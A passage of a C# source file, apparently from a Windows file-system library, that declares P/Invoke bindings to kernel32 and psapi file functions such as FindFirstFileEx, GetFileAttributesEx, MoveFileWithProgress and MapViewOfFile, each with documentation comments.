If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule"), SuppressUnmanagedCodeSecurity] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool FindClose(IntPtr hFindFile); /// Searches a directory for a file or subdirectory with a name and attributes that match those specified. /// A trailing backslash is not allowed and will be removed. /// Minimum supported client: Windows XP [desktop apps | Windows Store apps]. /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]. /// /// If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the /// lpFindFileData parameter contains information about the first file or directory found. If the function fails or fails to locate /// files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of /// lpFindFileData are indeterminate. To get extended error information, call the GetLastError function. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "FindFirstFileExW"), SuppressUnmanagedCodeSecurity] internal static extern SafeFindFileHandle FindFirstFileEx([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, FINDEX_INFO_LEVELS fInfoLevelId, out WIN32_FIND_DATA lpFindFileData, FINDEX_SEARCH_OPS fSearchOp, IntPtr lpSearchFilter, FIND_FIRST_EX_FLAGS dwAdditionalFlags); /// /// Searches a directory for a file or subdirectory with a name that matches a specific name as a transacted operation. /// /// A trailing backslash is not allowed and will be removed. /// Minimum supported client: Windows Vista [desktop apps only]. /// Minimum supported server: Windows Server 2008 [desktop apps only]. /// /// If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the /// lpFindFileData parameter contains information about the first file or directory found. If the function fails or fails to locate /// files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of /// lpFindFileData are indeterminate. To get extended error information, call the GetLastError function. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "FindFirstFileTransactedW"), SuppressUnmanagedCodeSecurity] internal static extern SafeFindFileHandle FindFirstFileTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, FINDEX_INFO_LEVELS fInfoLevelId, out WIN32_FIND_DATA lpFindFileData, FINDEX_SEARCH_OPS fSearchOp, IntPtr lpSearchFilter, FIND_FIRST_EX_FLAGS dwAdditionalFlags, SafeHandle hTransaction); /// /// Creates an enumeration of all the hard links to the specified file. The FindFirstFileNameW function returns a handle to the /// enumeration that can be used on subsequent calls to the FindNextFileNameW function. /// /// Minimum supported client: Windows Vista [desktop apps only]. /// Minimum supported server: Windows Server 2008 [desktop apps only]. /// /// If the function succeeds, the return value is a search handle that can be used with the FindNextFileNameW function or closed with /// the FindClose function. If the function fails, the return value is INVALID_HANDLE_VALUE (0xffffffff). To get extended error /// information, call the GetLastError function. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] internal static extern SafeFindFileHandle FindFirstFileNameW([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] uint dwFlags, [MarshalAs(UnmanagedType.U4)] out uint stringLength, StringBuilder linkName); /// /// Creates an enumeration of all the hard links to the specified file as a transacted operation. The function returns a handle to the /// enumeration that can be used on subsequent calls to the FindNextFileNameW function. /// /// Minimum supported client: Windows Vista [desktop apps only]. /// Minimum supported server: Windows Server 2008 [desktop apps only]. /// /// If the function succeeds, the return value is a search handle that can be used with the FindNextFileNameW function or closed with /// the FindClose function. If the function fails, the return value is INVALID_HANDLE_VALUE (0xffffffff). To get extended error /// information, call the GetLastError function. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] internal static extern SafeFindFileHandle FindFirstFileNameTransactedW([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] uint dwFlags, [MarshalAs(UnmanagedType.U4)] out uint stringLength, StringBuilder linkName, SafeHandle hTransaction); /// /// Continues a file search from a previous call to the FindFirstFile, FindFirstFileEx, or FindFirstFileTransacted functions. /// /// Minimum supported client: Windows XP [desktop apps | Windows Store apps]. /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]. /// /// If the function succeeds, the return value is nonzero and the lpFindFileData parameter contains information about the next file or /// directory found. If the function fails, the return value is zero and the contents of lpFindFileData are indeterminate. To get /// extended error information, call the GetLastError function. If the function fails because no more matching files can be found, the /// GetLastError function returns ERROR_NO_MORE_FILES. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "FindNextFileW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool FindNextFile(SafeFindFileHandle hFindFile, out WIN32_FIND_DATA lpFindFileData); /// /// Continues enumerating the hard links to a file using the handle returned by a successful call to the FindFirstFileName function. /// /// Minimum supported client: Windows Vista [desktop apps only]. /// Minimum supported server: Windows Server 2008 [desktop apps only]. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error /// information, call GetLastError. If no matching files can be found, the GetLastError function returns ERROR_HANDLE_EOF. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool FindNextFileNameW(SafeFindFileHandle hFindStream, [MarshalAs(UnmanagedType.U4)] out uint stringLength, StringBuilder linkName); /// Flushes the buffers of a specified file and causes all buffered data to be written to a file. /// Minimum supported client: Windows XP [desktop apps | Windows Store apps]. /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool FlushFileBuffers(SafeFileHandle hFile); /// Retrieves the actual number of bytes of disk storage used to store a specified file. /// Minimum supported client: Windows XP [desktop apps only]. /// Minimum supported server: Windows Server 2003 [desktop apps only]. /// /// If the function succeeds, the return value is the low-order DWORD of the actual number of bytes of disk storage used to store the /// specified file, and if lpFileSizeHigh is non-NULL, the function puts the high-order DWORD of that actual value into the DWORD /// pointed to by that parameter. This is the compressed file size for compressed files, the actual file size for noncompressed files. /// If the function fails, and lpFileSizeHigh is NULL, the return value is INVALID_FILE_SIZE. To get extended error information, call /// GetLastError. If the return value is INVALID_FILE_SIZE and lpFileSizeHigh is non-NULL, an application must call GetLastError to /// determine whether the function has succeeded (value is NO_ERROR) or failed (value is other than NO_ERROR). /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetCompressedFileSizeW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetCompressedFileSize([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] out uint lpFileSizeHigh); /// Retrieves the actual number of bytes of disk storage used to store a specified file as a transacted operation. /// Minimum supported client: Windows Vista [desktop apps only]. /// Minimum supported server: Windows Server 2008 [desktop apps only]. /// /// If the function succeeds, the return value is the low-order DWORD of the actual number of bytes of disk storage used to store the /// specified file, and if lpFileSizeHigh is non-NULL, the function puts the high-order DWORD of that actual value into the DWORD /// pointed to by that parameter. This is the compressed file size for compressed files, the actual file size for noncompressed files. /// If the function fails, and lpFileSizeHigh is NULL, the return value is INVALID_FILE_SIZE. To get extended error information, call /// GetLastError. If the return value is INVALID_FILE_SIZE and lpFileSizeHigh is non-NULL, an application must call GetLastError to /// determine whether the function has succeeded (value is NO_ERROR) or failed (value is other than NO_ERROR). /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetCompressedFileSizeTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetCompressedFileSizeTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] out uint lpFileSizeHigh, SafeHandle hTransaction); /// /// Retrieves attributes for a specified file or directory. /// /// /// The GetFileAttributes function retrieves file system attribute information. /// GetFileAttributesEx can obtain other sets of file or directory attribute information. /// Currently, GetFileAttributesEx retrieves a set of standard attributes that is a superset of the file system attribute /// information. /// When the GetFileAttributesEx function is called on a directory that is a mounted folder, it returns the attributes of the directory, /// not those of the root directory in the volume that the mounted folder associates with the directory. To obtain the attributes of /// the associated volume, call GetVolumeNameForVolumeMountPoint to obtain the name of the associated volume. Then use the resulting /// name in a call to GetFileAttributesEx. The results are the attributes of the root directory on the associated volume. /// Symbolic link behavior: If the path points to a symbolic link, the function returns attributes for the symbolic link. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetFileAttributesExW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetFileAttributesEx([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] GET_FILEEX_INFO_LEVELS fInfoLevelId, out WIN32_FILE_ATTRIBUTE_DATA lpFileInformation); /// Retrieves attributes for a specified file or directory. /// /// The GetFileAttributes function retrieves file system attribute information. /// GetFileAttributesEx can obtain other sets of file or directory attribute information. /// /// Currently, GetFileAttributesEx retrieves a set of standard attributes that is a superset of the file system attribute information. /// When the GetFileAttributesEx function is called on a directory that is a mounted folder, it returns the attributes of the directory, /// not those of the root directory in the volume that the mounted folder associates with the directory. To obtain the attributes of /// the associated volume, call GetVolumeNameForVolumeMountPoint to obtain the name of the associated volume. Then use the resulting /// name in a call to GetFileAttributesEx. The results are the attributes of the root directory on the associated volume. /// Symbolic link behavior: If the path points to a symbolic link, the function returns attributes for the symbolic link. /// Transacted Operations /// If a file is open for modification in a transaction, no other thread can open the file for modification until the transaction /// is committed. Conversely, if a file is open for modification outside of a transaction, no transacted thread can open the file for /// modification until the non-transacted handle is closed. If a non-transacted thread has a handle opened to modify a file, a call to /// GetFileAttributesTransacted for that file will fail with an ERROR_TRANSACTIONAL_CONFLICT error. /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] /// /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetFileAttributesTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetFileAttributesTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] GET_FILEEX_INFO_LEVELS fInfoLevelId, out WIN32_FILE_ATTRIBUTE_DATA lpFileInformation, SafeHandle hTransaction); /// Retrieves file information for the specified file. /// /// If the function succeeds, the return value is nonzero and file information data is contained in the buffer pointed to by the lpByHandleFileInformation parameter. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// /// Depending on the underlying network features of the operating system and the type of server connected to, /// the GetFileInformationByHandle function may fail, return partial information, or full information for the given file. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetFileInformationByHandle(SafeFileHandle hFile, [MarshalAs(UnmanagedType.Struct)] out BY_HANDLE_FILE_INFORMATION lpByHandleFileInformation); /// Retrieves file information for the specified file. /// /// Minimum supported client: Windows Vista [desktop apps | Windows Store apps] /// Minimum supported server: Windows Server 2008 [desktop apps | Windows Store apps] /// Redistributable: Windows SDK on Windows Server 2003 and Windows XP. /// /// The file. /// The file information by handle class. /// Information describing the file. /// Size of the buffer. /// /// If the function succeeds, the return value is nonzero and file information data is contained in the buffer pointed to by the /// lpByHandleFileInformation parameter. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetFileInformationByHandleEx(SafeFileHandle hFile, [MarshalAs(UnmanagedType.I4)] FILE_INFO_BY_HANDLE_CLASS fileInfoByHandleClass, SafeGlobalMemoryBufferHandle lpFileInformation, [MarshalAs(UnmanagedType.U4)] uint dwBufferSize); /// Retrieves file information for the specified file. /// /// Minimum supported client: Windows Vista [desktop apps | Windows Store apps] /// Minimum supported server: Windows Server 2008 [desktop apps | Windows Store apps] /// Redistributable: Windows SDK on Windows Server 2003 and Windows XP. /// /// /// If the function succeeds, the return value is nonzero and file information data is contained in the buffer pointed to by the /// lpByHandleFileInformation parameter. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// The file. /// The file information by handle class. /// Information describing the file. /// Size of the buffer. [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetFileInformationByHandleEx"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetFileInformationByHandleEx_FileBasicInfo(SafeFileHandle hFile, [MarshalAs(UnmanagedType.I4)] FILE_INFO_BY_HANDLE_CLASS fileInfoByHandleClass, [MarshalAs(UnmanagedType.Struct)] out FILE_BASIC_INFO lpFileInformation, [MarshalAs(UnmanagedType.U4)] uint dwBufferSize); /// Retrieves the size of the specified file. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetFileSizeEx(SafeFileHandle hFile, out long lpFileSize); /// Retrieves the final path for the specified file. /// Minimum supported client: Windows Vista [desktop apps only]. /// Minimum supported server: Windows Server 2008 [desktop apps only]. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetFinalPathNameByHandleW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetFinalPathNameByHandle(SafeFileHandle hFile, StringBuilder lpszFilePath, [MarshalAs(UnmanagedType.U4)] uint cchFilePath, FinalPathFormats dwFlags); /// /// Checks whether the specified address is within a memory-mapped file in the address space of the specified process. If so, the /// function returns the name of the memory-mapped file. /// /// Minimum supported client: Windows XP. /// Minimum supported server: Windows Server 2003. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("psapi.dll", SetLastError = false, CharSet = CharSet.Unicode, EntryPoint = "GetMappedFileNameW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetMappedFileName(IntPtr hProcess, SafeLocalMemoryBufferHandle lpv, StringBuilder lpFilename, [MarshalAs(UnmanagedType.U4)] uint nSize); /// Locks the specified file for exclusive access by the calling process. /// Minimum supported client: Windows XP. /// Minimum supported server: Windows Server 2003. /// /// If the function succeeds, the return value is nonzero (TRUE). If the function fails, the return value is zero (FALSE). To get /// extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool LockFile(SafeFileHandle hFile, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetLow, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetHigh, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToLockLow, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToLockHigh); /// Maps a view of a file mapping into the address space of a calling process. /// Minimum supported client: Windows XP. /// Minimum supported server: Windows Server 2003. /// /// If the function succeeds, the return value is the starting address of the mapped view. If the function fails, the return value is /// null. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] internal static extern SafeLocalMemoryBufferHandle MapViewOfFile(SafeFileHandle hFileMappingObject, [MarshalAs(UnmanagedType.U4)] uint dwDesiredAccess, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetHigh, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetLow, UIntPtr dwNumberOfBytesToMap); /// /// Moves a file or directory, including its children. /// You can provide a callback function that receives progress notifications. /// /// /// The MoveFileWithProgress function coordinates its operation with the link tracking service, so link sources can be tracked as they are moved. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// Filename of the existing file. /// Filename of the new file. /// The progress routine. /// The data. /// The flags. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "MoveFileWithProgressW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool MoveFileWithProgress([MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpNewFileName, NativeCopyMoveProgressRoutine lpProgressRoutine, IntPtr lpData, [MarshalAs(UnmanagedType.U4)] MoveOptions dwFlags); /// /// Moves an existing file or a directory, including its children, as a transacted operation. /// You can provide a callback function that receives progress notifications. /// /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] /// /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "MoveFileTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool MoveFileTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpNewFileName, NativeCopyMoveProgressRoutine lpProgressRoutine, IntPtr lpData, [MarshalAs(UnmanagedType.U4)] MoveOptions dwCopyFlags, SafeHandle hTransaction); /// An application-defined callback function used with the CopyFileEx, MoveFileTransacted, and MoveFileWithProgress functions. /// It is called when a portion of a copy or move operation is completed. /// The LPPROGRESS_ROUTINE type defines a pointer to this callback function. /// NativeCopyMoveProgressRoutine (NativeCopyMoveProgressRoutine) is a placeholder for the application-defined function name. /// [SuppressUnmanagedCodeSecurity] internal delegate CopyMoveProgressResult NativeCopyMoveProgressRoutine([MarshalAs(UnmanagedType.I8)] long totalFileSize, [MarshalAs(UnmanagedType.I8)] long totalBytesTransferred, [MarshalAs(UnmanagedType.I8)] long streamSize, [MarshalAs(UnmanagedType.I8)] long streamBytesTransferred, [MarshalAs(UnmanagedType.U4)] uint dwStreamNumber, [MarshalAs(UnmanagedType.U4)] CopyMoveProgressCallbackReason dwCallbackReason, IntPtr hSourceFile, IntPtr hDestinationFile, IntPtr lpData); /// Replaces one file with another file, with the option of creating a backup copy of the original file. The replacement file assumes the name of the replaced file and its identity. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "ReplaceFileW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool ReplaceFile([MarshalAs(UnmanagedType.LPWStr)] string lpReplacedFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpReplacementFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpBackupFileName, FileSystemRights dwReplaceFlags, IntPtr lpExclude, IntPtr lpReserved); /// Sets the attributes for a file or directory. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP /// Minimum supported server: Windows Server 2003 [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [SuppressMessage("Microsoft.Usage", "CA2205:UseManagedEquivalentsOfWin32Api")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "SetFileAttributesW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool SetFileAttributes([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] FileAttributes dwFileAttributes); /// Sets the attributes for a file or directory as a transacted operation. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "SetFileAttributesTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool SetFileAttributesTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] FileAttributes dwFileAttributes, SafeHandle hTransaction); /// Moves the file pointer of the specified file. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps | UWP apps] /// Minimum supported server: Windows Server 2003 [desktop apps | UWP apps] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool SetFilePointerEx(SafeFileHandle hFile, [MarshalAs(UnmanagedType.U8)] ulong liDistanceToMove, IntPtr lpNewFilePointer, [MarshalAs(UnmanagedType.U4)] SeekOrigin dwMoveMethod); /// Sets the date and time that the specified file or directory was created, last accessed, or last modified. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool SetFileTime(SafeFileHandle hFile, SafeGlobalMemoryBufferHandle lpCreationTime, SafeGlobalMemoryBufferHandle lpLastAccessTime, SafeGlobalMemoryBufferHandle lpLastWriteTime); /// Unlocks a region in an open file. Unlocking a region enables other processes to access the region. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP /// Minimum supported server: Windows Server 2003 [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool UnlockFile(SafeFileHandle hFile, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetLow, [MarshalAs(UnmanagedType.U4)] uint dwFileOffsetHigh, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToUnlockLow, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToUnlockHigh); /// Unmaps a mapped view of a file from the calling process's address space. /// Minimum supported client: Windows XP. /// Minimum supported server: Windows Server 2003. /// The base address. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool UnmapViewOfFile(SafeLocalMemoryBufferHandle lpBaseAddress); /// Enumerates the first stream with a ::$DATA stream type in the specified file or directory. /// /// If the function 